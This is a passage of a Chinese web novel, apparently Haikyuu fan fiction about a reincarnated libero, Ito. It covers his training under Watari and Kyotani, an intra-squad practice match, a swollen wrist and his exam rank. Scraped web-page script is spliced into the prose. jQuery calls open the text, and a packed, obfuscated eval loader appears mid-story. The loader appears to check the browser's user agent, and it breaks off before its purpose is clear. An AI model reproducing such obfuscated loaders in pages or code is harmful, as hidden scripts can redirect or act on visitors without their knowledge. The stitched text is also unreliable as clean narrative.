$(''.inform'').remove(); $(''#content'').append('' 扣球送球到位率提升至50%以上。” 写完这些,他看了一眼系统面板。 技术:4.2(+0.1) 又进步了0.1。 很小,但确实在进步。 伊藤关掉系统面板,躺到床上。 他盯着天花板,想着今天发生的每一件事。 渡的移动训练,金田一的绷带,及川的那句“不错”,京谷的“明天也留下来”。 还有那些球。 那些他接起来的球,那些他没有接起来的球,那些他拼尽全力追过去的球。 每一颗球,都在告诉他同一件事——你在变得更好。 他翻了个身,把被子拉到下巴。 明天还有晨练。 明天还要跑三公里。 明天还要接京谷的扣球。 他闭上眼睛,嘴角不自觉地弯了一下。 然后他睡着了。 第二天,伊藤在同样的时间醒来。 跑完三公里,到体育馆,做热身。 渡已经在等他了。 “今天的移动训练,四组。”渡说。 伊藤没有问为什么从三组变成了四组。 他站到底线上,深吸一口气,然后冲了出去。 第一组,第二组,第三组。 到第三组的时候,他的腿已经开始抖了。 “继续。”渡说。 伊藤开始了第四组。 底线来回,边线来回,对角线来回。 他的动作在最后几次对角线移动时已经完全变形了。 他的脚步拖沓,身体摇晃,每一次转向都像是在跟自己较劲。 但他跑完了。 第四组的最后一次对角线移动,他几乎是拖着腿走完的。 他弯下腰,双手撑在膝盖上,大口大口地喘气。 汗水从他的额头滴下来,在地板上汇成了一小滩。 渡看着他,沉默了很久。 然后他说了一句话。 “明天开始,晨练前跑五公里。” 伊藤抬起头,看着渡。 渡的表情没有任何变化,像是在说一件理所当然的事情。 伊藤低下头。 “……好。” 他答应了。 因为他知道,渡不会无缘无故地增加训练量。 渡的增加,意味着他看到了伊藤的进步——或者说,他看到了伊藤还能承受更多。 这不是折磨,这是认可。 下午的部活,岩泉宣布了一个消息。 “明天下午,队内将进行一场正式的练习赛。正选阵容对替补阵容。所有人都有机会上场,上场时间根据今天的训练表现决定。” 所有人都安静了。 伊藤的心跳加速了。 正式练习赛。 正选阵容对替补阵容。 这意味着替补阵容的自由人——也就是他和另一个二年级的自由人——有机会上场面对青城最强的进攻线。 他看了一眼渡。渡站在正选阵容那边,表情平静,像是在听一件和自己无关的事情。 岩泉的目光扫过替补阵容的每一个人。 “今天的训练,所有人全力以赴。我会根据你们的表现决定明天的出场顺序。” 训练开始了。 今天的训练强度比以往任何一天都要高。每个人都想在岩泉面前证明自己,争取明天更多的上场时间。 伊藤在训练中格外专注。 每一个接球,他都全力以赴,每一次移动,他都拼尽全力。 他不再只是完成渡布置的任务,而是在每一次触球中都加入了自己的思考——这个球为什么要这样接?这个移动为什么要这样跑?还有没有更好的方式? 他的专注让他的表现超出了平时的水平。 在接发球训练中,他连续接起了及川的十个跳发球,送球到位率达到了百分之八十。 在防守训练中,他接起了岩泉的五个重扣,每一个都稳稳地送到了二传手的位置。 在移动训练中,他的防守范围几乎扩大到了整个后排,有些球他甚至从后排中央跑到了边线附近去救。 场边的教练在他的本子上写下了什么。 岩泉看着伊藤,没有说话。 及川站在网前,看着伊藤一次又一次地接起他的发球,嘴角微微上扬。 训练结束后,岩泉宣布了明天的出场顺序。 “自由人位置,第一替补是伊藤。” 全场安静了一瞬。 伊藤愣住了。 他以为自己听错了。 自由人的第一替补——这意味着明天的练习赛中,他会是第一个替补上场的自由人。 排在那个二年级的前辈前面。 他转过头,看向那个二年级的前辈。 那个前辈的表情有些复杂,但他没有说什么,只是点了点头。 渡站在正选阵容那边,看着伊藤。 他的表情依然平静,但伊藤注意到,渡的眼神变了。 那不是敌意,不是嫉妒,也不是不满。 而是一种“终于来了”的眼神。 像是在说——我等了很久,终于等到一个有资格挑战我的人了。 伊藤低下头,深吸了一口气。 明天,他有机会上场。明天,他有机会完成系统给他的任务。明天,他有机会证明自己。 但他告诉自己,不要想太多。 明天的事情,明天再说。 现在,他还有一件事要做。 他走到场边,拿起了排球。 京谷还在等他。 京谷站在场地的另一边,手里转着球。 “迟到了。”京谷说。 “对不起。”伊藤跑到后排的位置,蹲低身体。 京谷抛球,助跑,起跳,扣球。 球以惊人的速度飞过来。 伊藤接了起来。 “再来。” 第二球。 伊藤接了起来。 “再来。” 第三球。 伊藤接了起来。 “再来。” 京谷的扣球一次比一次重,一次比一次快。 他不再只是测试伊藤的极限,而是在挑战伊藤的极限——他想看看,这个一年级的自由人,到底能接起他多少球。 第三十球的时候,伊藤的手臂已经失去了知觉。 但他还在接。 第四十球的时候,他的膝盖又开始疼了。 但他还在接。 第五十球的时候,他终于接不起来了。 球从他手臂的侧面滑了过去,砸在地板上,弹起来,撞到了墙上。 伊藤跪在地上,大口大口地喘气。 他的手臂在发抖,他的腿在发抖,他的整个身体都在发抖。 京谷站在网前,看着伊藤。 “五十球,接起三十八球。”京谷说,“送球到位二十一球。” 伊藤抬起头,看着京谷。 京谷的表情依然是那副“我天生就长这样”的凶样子,但伊藤注意到,他的眼神比昨天柔和了一些。 “明天继续。”京谷说。 然后他转身走了。 伊藤跪在地上,看着京谷的背影消失在更衣室的门口。 五十球。 接起三十八球。 送球到位二十一球。 比昨天进步了。 伊藤慢慢地站起来,收拾好东西,走出了体育馆。 天已经全黑了。 操场上空无一人,只有路灯在亮着。 他走在回家的路上,脑子里回放着今天的每一个瞬间。 渡的“明天开始跑五公里”,岩泉的“第一替补是伊藤”,及川的嘴角上扬,京谷的“明天继续”。 还有那些球。 那些他接起来的球,那些他没有接起来的球,那些他拼尽全力追过去的球。 每一颗球,都在告诉他同一件事—— 你不是一个人在变强。 你的身边有渡,有京谷,有及川,有岩泉,有金田一,有所有人。 他们都在推着你往前走。 即使有些人推的方式很粗暴。 但他们在推。 伊藤加快脚步,往家的方向走去。 回到公寓后,他照例洗澡、记录训练内容、看系统面板。 技术:4.3(+0.1) 速度:4(+0) 力量:2(+0) 跳跃:2(+0) 爆发力:3(+0) 智力:5(+0) 技术又涨了0.1。 但这一次,他没有看太久。 他合上笔记本,躺到床上。 明天有练习赛。 明天是他第一次以“第一替补”的身份坐在板凳上。 明天,他可能会上场。 伊藤闭上眼睛。 他在心里告诉自己——不要紧张。不要想太多。把训练中做到的东西在球场上做出来就好。 但他的手还是在被子下面攥成了拳头。 不是紧张。 是期待。 窗外,夜风轻拂,吹动着窗帘。 月光透过窗帘的缝隙照进来,在地板上投下一道细细的光线。 伊藤有弥躺在黑暗中,嘴角微微上扬。 明天,会是一个很重要的日子。 他这样想着,渐渐沉入了梦乡。 6. 第六章 6. 队内练习赛在下午四点半正式开始。 青城排球部的体育馆从来没有这么安静过。 不是没有人,而是所有人都屏住了呼吸,等待着哨声响起的那一刻。 正选阵容站在球网的一侧,替补阵容站在另一侧,中间那张白色的网像是一条分界线,将这支队伍分成了两个世界。 伊藤站在替补阵容的后排中央。 他的运动服穿得整整齐齐,护膝的位置调整了三次,确保没有任何褶皱。 他的手指不自觉地在大腿上轻轻敲击着,节奏杂乱无章。 这是他来到青城以后第一次以首发自由人的身份站在正式练习赛的场地上——教练在赛前直接宣布了出场名单,自由人位置的第一替补是伊藤,这意味着他从第一局开始就会上场。 “放轻松。”旁边传来一个声音。 伊藤转过头,看到矢巾秀正在做手腕的拉伸。 这位二年级的二传手表情平静,甚至带着一点微笑,像是这场练习赛对他来说只是一次普通的训练。 “你太紧张了。”矢巾说,“肌肉绷得太紧,上场会跑不动的。” 伊藤试着放松肩膀,但只维持了两秒钟就又不自觉地绷紧了。 他深吸一口气,再缓缓吐出来,重复了三次,效果不大。 哨声响了。 正选阵容先发球。 及川站在底线后,手里转着球。 他的目光越过球网,扫过替补阵容的每一个人,最终落在了伊藤身上。 “伊藤君,第一次首发哦。”及川的声音不大,但在安静的体育馆里每个人都听得清清楚楚,“及川前辈会好好‘欢迎’你的。” 伊藤没有说话,只是微微蹲低了身体,双手前伸。 及川抛球,助跑,起跳。 他的身体在空中完全舒展,手臂像鞭子一样甩出,球带着剧烈的旋转飞向替补阵容的后场。 那球的轨迹很低,速度很快,落点精准地瞄准了底线和边线的夹角。 伊藤在及川触球的瞬间就开始移动。 他的右脚直接跨出——这是岩泉教他的方法,用身体侧面去对球。 他的前臂在球接触的瞬间微微放松,呼气,让手臂的弹性去吸收球的冲击力。 球砸在他前臂上,弹了起来。 弧线不高,但方向很正,稳稳地飞向了矢巾秀的位置。 矢巾秀甚至没有移动脚步,球就直接落到了他的正上方。 他伸手接住球,托给了前排的金田一。 金田一起跳,扣球。 球穿过了松川和花卷的拦网缝隙,砸在了正选阵容的场地上——但岩泉已经等在那里了。 他用前臂将球稳稳接起,球飞向及川。 及川立刻托给前排的松川,松川扣球得分。 正选阵容得分,及川继续发球。 “好接,但还不够。”及川隔着网对伊藤说了一句,然后再次抛球。 第二次发球。 伊藤再次接起,这一次送球的位置比上一次更精准,直接落到了矢巾秀的正上方。 矢巾托给国见,国见扣出了一条漂亮的斜线,但花卷将球救了起来。 及川再次组织进攻,岩泉的重扣砸在了替补阵容的场地上。 正选阵容再得一分,及川继续发球。 第三次,第四次。 伊藤每一次都稳稳地接起了及川的发球,但替补阵容的进攻始终无法突破正选阵容的防守——松川和花卷的拦网、岩泉和渡的后排防守,将替补阵容的所有进攻手段一一化解。 第五次发球,及川稍微加了一点变化,球速更快,落点更刁钻。 伊藤依然接了起来,但这一次送球的位置有所偏差,矢巾不得不移动了两步才接到球。 托球的质量下降,金田一的扣球被松川直接拦死。 最后是四比一。 及川的发球轮次终于结束了——不是因为替补阵容得分,而是因为及川自己发球出界。 他第五个发球用力过猛,球擦网后落在了界外。 “可惜。”及川摇了摇头,走向自己的位置。 替补阵容终于获得了发球权。 但四比一的比分已经说明了一切——正选阵容的强大不仅仅是进攻,他们的防守同样密不透风。 伊藤站在后排,深吸了一口气。 四比一,他没有丢掉任何一个接发球,但球队还是丢了四分。 这就是排球——自由人再努力,如果前排无法得分,比分还是会不断被拉开。 但他没有气馁。 他知道自己的任务不是得分,而是为球队创造得分的机会。 只要他把一传送到位,二传手就有更多的选择,攻手就有更好的扣球条件。 至于能不能得分,那是攻手的事情。 比赛继续进行。 替补阵容终于由国见的一记精准吊球拿下了第一分。 国见面对松川的拦网,没有强行扣球,而是轻轻将球拨到了拦网球员的身后,球落地的声音清脆而安静。 “好球!”金田一大喊。 比分变成四比二。 但正选阵容很快又拉开了分差。 及川的托球像是长了眼睛一样,总能找到替补阵容防守最薄弱的位置。 岩泉的扣球力量惊人,伊藤虽然接起了其中两个,但送球的质量明显下降——岩泉的球太重了,每一次接球都像是在承受一次撞击。 比分来到八比三的时候,京谷轮转到了前排。 京谷站在网前,眼神里带着一种近乎危险的兴奋。 他盯着对面的伊藤,那表情像是在说:你接了我那么多扣球,现在让我看看你在正式比赛中的表现。 正选阵容的二传手给京谷托了一个高球。 京谷起跳。 他的起跳高度让整个体育馆都安静了。 他的身体在空中完全舒展,手臂后拉到了极致,然后猛地挥出。 球像一颗炮弹一样砸向替补阵容的后场。 伊藤站在球的落点方向。 他在京谷触球的瞬间就已经判断出了球的线路——直线,瞄准的是底线附近。 他后退,身体后仰,在球即将落地的前一刻,用前臂将球兜了起来。 球弹起来,飞向了场地的中央。 矢巾秀追上了球,托给了金田一。 金田一扣球,球被松川拦了回来。 但伊藤已经在那里了。 他再次将球救起,这一次球直接飞到了国见的方向。 国见没有扣球,而是轻轻地将球吊过了网,落在了正选阵容的前排空档。 得分。 替补阵容得分。 全场安静了一瞬。 伊藤从地板上爬起来,拍了拍膝盖上的灰。 他的手臂上多了一道红印,但他没有去看,而是直接回到了自己的位置。 京谷站在网对面,看着伊藤。 他的表情没有变化,但伊藤注意到他握紧了拳头——那不是愤怒,而是兴奋。 第一局的比分最终定格在二十五比十五,正选阵容获胜。 但伊藤在场上的表现让所有人都看到了他的价值——他的接发球成功率接近百分之九十,防守起球率也超过了百分之七十。 对于一个一年级的新人来说,这是一个相当出色的数据。 局间休息的时候,伊藤坐在场边喝水。 他的手臂上布满了红色的印记,右手腕有些肿胀,但他没有表现出任何不适。 他只是安静地坐着,听教练讲第二局的战术安排。 渡不知道什么时候走到了他旁边。 “接得不错。”渡说。 伊藤抬起头,看着渡。 渡的表情依然平静,但伊藤注意到他的眼神里有一种他从未见过的东西——不是敌意,不是嫉妒,而是一种“我也不能输”的斗志。 “谢谢。”伊藤说。 渡没有再说别的,转身走回了正选阵容那边。 第二局,伊藤继续作为替补阵容的自由人上场。 正选阵容在这一局明显提升了强度。 及川不再只是用跳发球试探,而是开始结合跳飘球和大力跳发,打乱替补阵容的接发节奏。 岩泉的扣球更加凶猛,每一次都瞄准了伊藤防守区域的边缘,像是在测试他的防守极限。 但伊藤没有退缩。 他的脚步越来越快,反应越来越敏捷,每一次救球都像是在跟时间赛跑。 他接起了岩泉的两个重扣,接起了松川的一个斜线扣杀,甚至在一次防守中连续两次救球,将几乎必死的球硬生生救了回来。 比分来到十二比七的时候,及川托了一个高球给岩泉。 岩泉起跳,手臂后拉,身体像一张拉满的弓。 他的扣球是力量型的极致,球速不一定最快,但冲击力绝对是最强的之一。 伊藤站在岩泉扣球线路的前方。 他在岩泉触球的瞬间就开始移动,身体向后撤,同时观察着球的旋转和速度。 球来了。 伊藤的手臂迎了上去。 “砰!” 球砸在他前臂上的声音在体育馆里回荡。 这一次,他的手臂没有被弹开。 他的身体微微下沉,用膝盖的弯曲吸收了球的冲击力,然后前臂顺势向前送。 球弹起来,划出一道漂亮的弧线,稳稳地飞向了矢巾秀的位置。 矢巾秀托球给国见。 国见扣球得分。 替补席上再次爆发出欢呼声。 金田一从网前跑过来,一把搂住伊藤的肩膀:“伊藤!你太厉害了!” 伊藤被搂得有些喘不过气,但他没有推开金田一。 他的脸红了,低下头,假装在整理护膝。 及川站在网对面,看着伊藤,忽然笑了。 那笑容和平时不一样。不是张扬的、想让全世界看到的笑,而是一种安静的、发自内心的笑。 “伊藤君,你这个人真的很有意思。”及川的声音不大,但每个人都听得清清楚楚。 第二局的比分最终定格在二十五比二十,正选阵容再次获胜。 但替补阵容在这一局拿到了二十分——比第一局多了五分。 伊藤在后排的防守让替补阵容的失分速度大大降低,替补阵容的进攻也因此有了更多的机会。 比赛结束后,双方队员互相击掌。 及川走到伊藤面前,伸出手。 “伊藤君,你今天让及川前辈很没面子啊。”及川笑着说,语气听起来像是在抱怨,但眼神里全是笑意。 伊藤握住及川的手,不知道该说什么,最后只是说了一句“对不起”。 “为什么要道歉?”及川收起了笑容,认真地看着他,“你今天打得很好。真的很好。” 说完,及川拍了拍他的肩膀,转身走了。 岩泉走过来,没有伸手,只是看着伊藤,说了一句:“右脚的移动还要再快一点。有几个球你如果直接跨右脚,不用鱼跃也能接到。” 伊藤点了点头。 “不过,”岩泉顿了一下,“你今天表现得很好。” 这是岩泉第一次当面夸奖伊藤。 虽然只有短短一句话,但伊藤知道,从岩泉嘴里说出“很好”这两个字,意味着他今天的表现已经超出了岩泉的预期。 松川和花卷也分别和伊藤击了掌。 松川什么都没说,只是点了点头;花卷笑着说“下次我不会让你那么容易接到我的发球的”。 渡是最后一个走过来的。 他看着伊藤,沉默了几秒钟。 “你进步了。”渡说。 “谢谢前辈。” “但你还不是正选。” “我知道。” 渡盯着伊藤看了两秒钟,然后转身走了。 伊藤站在场上,看着渡的背影。 他忽然意识到一件事——渡不是在生气,也不是在嫉妒。 渡只是在陈述一个事实:你还不是正选,但你已经离我很近了。 近到,我可以清楚地感受到你的追赶。 这种感觉,渡从来没有在任何一个自由人身上感受过。 收拾场地的时候,金田一跑到伊藤旁边,又一次搂住了他的肩膀。 “伊藤!你今天太厉害了!你接起了及川前辈的发球那么多次,还接起了岩泉前辈的重扣!” “还好。”伊藤说。 “什么叫还好?你接起了及川前辈那么多个发球!而且你还接起了岩泉前辈的三个重扣!”金田一的声音大得整个体育馆都能听到。 伊藤的脸又红了,他低下头,假装在整理球筐。 国见从旁边经过,淡淡地说了一句:“别吵了,收拾东西。” 金田一这才松开伊藤,乖乖地去收球了。 伊藤抬起头,正好对上国见的视线。 国见看了他一眼,然后移开了目光,继续整理自己的护膝。 那一眼里没有任何特别的意思,但伊藤觉得,国见大概也注意到了他今天的表现。 训练结束后,伊藤坐在更衣室的长凳上,慢慢地脱掉运动服。 汗水已经浸透了整件衣服,贴在身上,脱下来的时候发出一声轻微的“撕拉”声。 他的右手腕肿了一圈,膝盖上的旧伤被鱼跃磨得发红。 京谷走进更衣室的时候,伊藤正在往手臂上贴冰贴。 京谷看了他一眼,没有说话,打开自己的储物柜,开始换衣服。 两个人都没有说话。 更衣室里安静得只能听到储物柜门开合的声音和衣服摩擦的声音。 京谷换好衣服,背上书包,走到门口的时候停了下来。 他没有回头。 “今天那球,接得不错。” 然后他走了。 伊藤坐在长凳上,手里拿着冰贴,愣了一下。 京谷说他接得不错。 那个京谷贤太郎,对谁都不假辞色的“小狂犬”,说他接得不错。 伊藤低下头,嘴角弯了一下,然后继续贴冰贴。 走出体育馆的时候,天已经黑了。操场上只有几盏路灯亮着,把他的影子拉得很长。 他走在回家的路上,脚步比平时慢了很多。 不是因为他不着急,而是因为他的腿太疼了,走不快。 每一步都像是踩在棉花上,膝盖的旧伤在每一次弯曲的时候都会传来一阵刺痛。 但他没有停下来。 他走了很久,终于到了家门口。 他从口袋里掏出钥匙,打开门,走进漆黑的公寓。 他没有开灯。 他靠着门板站了一会儿,然后慢慢地蹲了下来,把脸埋进了膝盖里。 不是因为难过,而是因为太累了。 累到不想开灯,累到不想洗澡,累到连爬上床的力气都没有。 但他在笑。 他蹲在黑暗的玄关里,嘴角弯着,露出一个很小的、几乎看不出来的笑容。 今天是来到这个世界以来,最好的一天。 伊藤蹲在玄关里笑了很久,然后慢慢地站起来,摸黑走进了浴室。 第二天早上,伊藤醒来的时候,发现自己的右手腕肿得比昨天更厉害了。 他试着握了握拳,一阵刺痛从手腕传到了手臂。 他皱了一下眉头,活动了一下手指,确认没有伤到骨头,只是软组织挫伤。 他从医药箱里翻出一卷弹性绷带,笨拙地缠在右手腕上。 缠得太紧了,手指有些发麻,他拆掉重新缠,第二次好了一些。 晨练还是要去的。 他穿上跑鞋,走出了家门。 河边的清晨很安静。 水面泛着灰白色的光,风从上游吹过来,带着泥土和青草的气味。 伊藤沿着河堤跑,步伐比一周前稳了很多,呼吸节奏也更均匀了,不像刚开始那样跑一公里就开始喘。 跑到第三公里的时候,他看到了一个熟悉的身影从对面跑过来。 是渡。 渡穿着一件深蓝色的运动服,步伐稳健,呼吸均匀。 他从对面跑过来,看到伊藤的时候,脚步慢了一下。 “手怎么了?”渡问,目光落在伊藤缠着绷带的右手腕上。 “肿了。”伊藤说,“昨天接球太多了。” 渡沉默了两秒钟,然后说:“今天不要跑了。跟我来。” 伊藤跟着渡走到了体育馆。渡从储物柜里拿出一个冰袋,递给伊藤。 “敷二十分钟。”渡说,“然后我给你看看。” 伊藤接过冰袋,坐在场边的长凳上,把冰袋贴在右手腕上。 冰凉的触感让他的手腕一阵刺痛,然后慢慢地麻木了。 渡在他旁边坐下来,两个人谁都没有说话。 过了大概五分钟,渡开口了。 “你知道我为什么每天给你布置那么多训练吗?” 伊藤转过头看着渡。 “因为我看到了你的可能性。”渡说,语气平静,像是在说一件很普通的事情,“你的技术底子很好,你的判断力很强,你的专注力也很出色。但你的身体素质太差了。” “如果你不把体力练上去、不把移动练出来,你永远只能是一个‘技术好但跑不动的自由人’。” “而技术好但跑不动的自由人,在真正的比赛中是没有用的。” 伊藤沉默着。 “我不是在打击你。”渡说,“我是在告诉你事实。你有潜力成为比我更好的自由人,但前提是你必须承受住这些训练。” 渡站起来,看着伊藤。 “你昨天的表现,证明了我的判断是对的。你确实承受得住。” 伊藤抬起头,看着渡。渡的表情依然是那副平静的样子,但伊藤注意到他的嘴角微微弯了一下——那是一个很小的、几乎看不出来的弧度,但它确实存在。 “敷完了来练移动。”渡说完,转身走向了球场。 伊藤坐在长凳上,冰袋贴着右手腕,看着渡的背影。 渡亲治。这个每天给他布置最苛刻任务、从不轻易夸奖他、总是在他摔倒的时候说“起来”的二年级自由人。 他是伊藤在青城排球部遇到的第一个对手,也是第一个把伊藤当作“对手”而不是“后辈”来对待的人。 伊藤把冰袋从手腕上拿下来,站起来,走向球场。 手腕还在疼,但他可以忍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那今天跑五公里。” 伊藤没有问为什么。他穿上跑鞋,走出了体育馆。 五公里跑完,他回到体育馆,渡已经在等他了。 “移动训练,四组。” 伊藤站到底线上,开始了移动训练。 底线来回,边线来回,对角线来回。 一组,两组,三组,四组。 第四组的时候,他的腿又开始抖了,但他咬着牙跑完了。 渡看着手表,点了点头。 “比昨天快了一点。” 伊藤弯着腰喘气,没有力气回答。 下午的部活,伊藤重新回到了场上。 今天的训练内容是接发球和防守的专项训练。 正选阵容和替补阵容分开练习,伊藤和渡被分到了同一组,由及川和岩泉轮流扣球,他们两个自由人轮流接球。 这是伊藤第一次和渡在同一组里进行直接的对比训练。 及川站在网前,手里托着球。 “先从我开始。”及川说,“渡先接,然后伊藤接。每人十个球,看谁接得好。” 渡走上前去,蹲低身体。 及川扣球。 不是跳发,是普通的扣球,但球速很快,落点很刁钻。 渡接了起来,送球到位。 第二球,第三球,第四球。 渡的十个球全部接了起来,送球到位率百分之八十。 “伊藤君,该你了。” 伊藤走上前去,蹲低身体。 及川的第一球瞄准了左侧边线。 伊藤移动,接球,送球到位。 第二球,右侧底线。 伊藤后退,接球,球送到了二传手的位置,但弧线比理想的高度低了一些。 “弧线再高一点。”及川说。 第三球,中场附近。 伊藤接了起来,送球到位。 第四球,及川忽然加了一个旋转,球在空中画出了一道弧线。 伊藤判断出了球的轨迹,移动到了正确的落点,接了起来。 第五球,第六球,第七球。 伊藤全部接了起来。 第八球的时候,及川扣了一个超高速的球。 伊藤的手臂被弹开了一点,球飞向了场外,他没有接起来。 第九球,伊藤接了起来。 第十球,及川扣了一个吊球,球轻轻落在了前排附近。 伊藤冲上前去,在球落地的前一刻用手臂将球兜了起来,球稳稳地飞向了二传手的位置。 十个球,接起九个,送球到位七个。 渡的送球到位率是百分之八十,伊藤是百分之七十。 差了一个球,但差距已经很小了。 及川看了看渡,又看了看伊藤,笑了一下。 “渡,你感觉到了吗?” 渡没有说话,但他的表情比平时更严肃了。 岩泉走过来,接过及川手里的球。 “换我。”岩泉说,“每人五个球。” 岩泉的扣球比及川的重得多。 他的扣球不是靠技巧,而是靠纯粹的力量——球砸在手臂上的感觉像是在承受一次撞击。 渡先接。 五个球,他接起了四个,送球到位三个。 然后轮到伊藤。 岩泉的第一球,伊藤接了起来,送球到位。 第二球,岩泉加上了角度。 伊藤移动,接球,球送得有些偏,但二传手还是追到了。 第三球,岩泉的扣球瞄准了伊藤的右侧。 伊藤直接跨右脚,用身体侧面去对球——这是岩泉教他的方法。 球接了起来,送球到位。 第四球,岩泉全力扣杀。伊藤的手臂被弹开,球飞向了场外,他没有接起来。 第五球,岩泉再次全力扣杀,这一次瞄准了底线。 伊藤后退,在球即将落地的前一刻将球兜了起来。 球弹起来,飞向了二传手的位置,但弧线很低,二传手只能勉强处理。 五个球,接起四个,送球到位两个。 岩泉看着伊藤,说了一句:“比上周好。” 这是岩泉式的夸奖——简单,直接,没有任何多余的话。 伊藤点了点头,回到了场边。 渡站在他旁边,两个人并肩看着场上的训练。 “你今天的送球到位率比昨天高。”渡说。 “因为你昨天教了我手腕的角度。” 渡沉默了一下,然后说:“你学得很快。” 伊藤不知道该说什么,只是低下了头。 “但是,”渡说,“我不会输给你的。” 伊藤抬起头,看着渡。 渡的表情很认真,眼神里有火焰。 “好。”伊藤说。 这是伊藤第一次在渡面前表现出“竞争”的态度。 不是退缩,不是谦让,而是接下了渡的挑战。 两个自由人站在场边,谁都没有再说话。 但他们都清楚地知道,从今天开始,他们之间的关系变了。 不再是前辈和后辈。 不再是教练和学员。 而是对手。 是站在同一个位置上、朝着同一个目标前进的对手。 训练结束后,伊藤没有加练。 不是因为他不想,而是因为渡叫住了他。 “今天不要加练了。”渡说,“你的手腕刚消肿,需要休息。” 伊藤想说他没事,但渡的表情让他把话咽了回去。 “明天开始,我会给你增加新的训练内容。”渡说,“你的移动速度还不够快,防守范围还不够大。从明天开始,每天晨练的时候,我会给你做专门的移动反应训练。” “……好。” 渡看了他一眼,转身走了。 伊藤收拾好东西,走出了体育馆。 天还没有完全黑,操场上还有几个田径部的学生在跑步。 他站在体育馆门口,看着那些跑步的人,站了一会儿。 然后他迈开步子,往家的方向走去。 宫城县四月的傍晚,风很轻,天空是淡淡的橘色。 伊藤有弥走在回家的路上,步伐比一周前稳了很多。 不是因为他跑得更快了,而是因为他知道自己要去哪里。 他知道自己明天要做什么。 晨练,移动反应训练,接球训练,部活,可能还有加练。 然后第二天,再做一遍。 然后第三天,再做一遍。 每一天都比前一天多一点点。 每一天都比前一天好一点点。 这就是他现在的全部想法。 很简单,很单调,很重复。 但这是他要走的路。 7. 第七章 7. 四月下旬的一个星期二,青叶城西高校的走廊里弥漫着一种与往常不同的气氛。 不是因为排球部有比赛,也不是因为有什么特别的活动,而是因为第一次月考的成绩榜贴出来了。 在日本的高中里,月考成绩虽然不像期末考试那样被隆重对待,但对于那些把升学作为目标的学生来说,每一次考试都是一场无声的战争。 成绩榜前永远围着一群人,有人兴奋地跳起来,有人沮丧地叹气,有人面无表情地看完就走,有人反复确认自己是不是看错了。 伊藤有弥不属于以上任何一种。 他甚至不知道今天是成绩公布的日子。 “伊藤同学!伊藤同学!” 佐佐木的声音从走廊那头传过来,带着一种不正常的兴奋。 伊藤正靠在一年三班教室门口的墙上,手里拿着一盒牛奶,脑子里还在回放昨天训练中渡教他的新移动步伐。 听到佐佐木喊他,他下意识地抬起头,然后看到了一个不可思议的场景—— 佐佐木以他从未见过的速度朝他跑过来,手里挥舞着一张纸,马尾辫在身后甩来甩去,整个人像是被按了加速键一样。 “成绩榜!成绩榜贴出来了!”佐佐木跑到他面前,弯着腰喘了几口气,然后把那张纸举到伊藤面前,“你看!你看这个!” 伊藤低头看了一眼那张纸——那是他用手机拍下来的成绩榜照片,字迹有些模糊,但数字还能看清楚。 他看到了自己的名字。 伊藤有弥,一年三班,综合排名:第一位。 年段综合排名:第十二位。 他眨了眨眼睛,又看了一遍。 没错,是他的名字。 “……哦。”他说。 佐佐木瞪大眼睛看着他:“你就‘哦’一声?” “嗯。” “伊藤同学!你年段第十二名诶!第十二名!我们班第一名!”佐佐木的声音大得走廊里一半的人都转过来看他们,“你不是每天上课都在睡觉吗?!你不是每节课都趴在桌子上吗?!你怎么考出来的?!” 伊藤不知道该说什么。 他确实上课经常睡觉——前世从早稻田大学毕业的知识储备应付高中一年级的课程绰绰有余,加上每天晨练和部活消耗了大量体力,他在课堂上很难保持清醒。 数学课他闭着眼睛都能做对题,英语课对他来说和母语差不多,现代文的阅读理解他前世画分镜的时候不知道分析过多少遍。 但他从来没有想过要考什么名次。 他只是做了卷子,交了,然后就忘了。 “运气好吧。”伊藤说。 “运气好?!”佐佐木的声音又拔高了一个八度,“年段第十二名是运气好能考出来的吗?你知道我们班第二名才年段第十五名吗?你比他还高!” 伊藤沉默了一下。 他确实不知道。 佐佐木盯着他看了三秒钟,然后深吸一口气,用一种“我放弃了”的语气说:“伊藤同学,你这个人真的很奇怪。排球打得那么好,成绩也那么好,但你自己完全不在意。你到底在不在意任何事情?” 伊藤想了想,说:“排球。” 佐佐木愣了一下,然后笑了。 “好吧,至少你还有一个在意的东西。”她把手机收起来,拍了拍伊藤的肩膀,“恭喜你啦,年段第十二名。下次考试也拜托你继续睡觉,这样我们班的平均分能往上拉一拉。” 佐佐木说完就走了,留下伊藤一个人站在走廊里,手里还拿着那盒牛奶。 他低头看了一眼成绩榜的照片,然后锁上了屏幕。 年段第十二名。 他确实不在意。 不是因为谦虚,而是因为他的脑子里有更重要的事情——渡昨天教的移动步伐,他在脑海里已经模拟了上百遍,但真正到场上能不能做出来,还需要实际训练来验证。 但周围的人显然不会这么轻易放过他。 午餐时间,伊藤坐在教室里吃便当的时候,不断有人走过来跟他说话。 有些是同班的同学,纯粹是好奇;有些是隔壁班的学生,路过的时候特意进来看看“那个睡觉考第十二名的家伙长什么样”;还有几个是根本不认识的人,跑过来问他要不要加入什么学习小组。 伊藤被围得有些喘不过气,最后端着便当盒逃到了天台。 天台上没有人。 风吹过来,带着四月末特有的那种温暖又带点凉意的气息。 他靠着围栏坐下来,把便当盒放在膝盖上,终于可以安静地吃饭了。 刚吃了两口,天台的门被推开了。 金田一勇太郎的脑袋从门后面探出来,那头蓬松的韭菜头在阳光下显得格外显眼。 “伊藤!我就知道你在这里!”金田一跑过来,在他旁边坐下,手里也端着一个便当盒,“听说了吗?你考了年段第十二名!” “听说了。”伊藤说。 “太厉害了吧!”金田一的语气和佐佐木如出一辙,“我才年段第八十几名,国见比我好一点,大概六十多名。你每天训练那么狠,上课还睡觉,居然能考第十二名?你是不是偷偷在家学习了?” “没有。”伊藤说。 “那你怎么做到的?” 伊藤想了想,说:“可能是我比较擅长考试。” 金田一盯着他看了两秒钟,然后摇了摇头:“你这个人真的很奇怪。” 伊藤笑了笑,没有解释。 他没办法告诉金田一自己前世已经学过了这些东西——那是属于另一个世界的秘密。 金田一见他不说话,也不追问了,打开便当盒开始吃饭。 他吃饭的样子和他这个人一样——大口大口的,看起来很有食欲。 “对了,”金田一嘴里塞着饭,含糊不清地说,“今天下午的训练,听说是跟其他学校的练习赛?” “嗯。”伊藤说,“好像是跟伊达工业。” “伊达工业?那个以拦网著称的学校?” “对。” 